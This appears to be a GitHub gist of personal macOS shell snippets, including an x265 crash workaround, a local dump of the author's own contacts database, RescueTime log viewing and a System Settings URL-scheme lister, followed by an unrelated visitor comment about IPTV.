command = "ffmpeg -i '...' -c:v libx265 -preset slow -x265-params \"rdoq-level=0\" '...' # <--- ffmpeg/x265 'rdoq' feature causes a crash on macOS! Bus error on 'unsigned int x265::Quant::rdoQuant<5u>(x265::CUData const&, short*, x265::TextType, unsigned int, bool) + 428'. Setting ' -x265-params \"rdoq-level=0\"' turns off this feature"
output = ""
[[snippets]]
description = "macOS contacts: extract a basic dump of your contact info from the largest address book you have. Missing details but had name and numbers."
command = "sqlite3 \"$(\\ls -S '/Users/chris/Library/Application Support/AddressBook/Sources/'*/*.abc* | head -1)\" 'select * from ZABCDCONTACTINDEX' | less"
output = ""
[[snippets]]
description = "rescuetime: view all my local rescue time logs. By blocking network access we can just use it as a local data logging daemon"
command = "zgrep \".\" ~/Library/RescueTime.com/activities_backup/*(Om) | less"
output = ""
[[snippets]]
description = "System Preferences/Settings url schemes to open specific setting panes. Of the style `open 'x-apple.systempreferences:<appex/prefpane bundle name>'`"
command = "for f in /System/Library/PreferencePanes/*(/) /System/Library/ExtensionKit/Extensions/*(/) ; do [ ! -f \"$f\"/Contents/Info.plist ] && continue; printf \"%-50s: open x-apple.systempreferences:\" ${f:t}; PlistBuddy -c \"Print :CFBundleIdentifier\" \"$f\"/Contents/Info.plist ; done"
output = ""
@twinkle2360
Copy link

How does this work? I just downloaded IPTV smarter on my firestick. Will this work?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment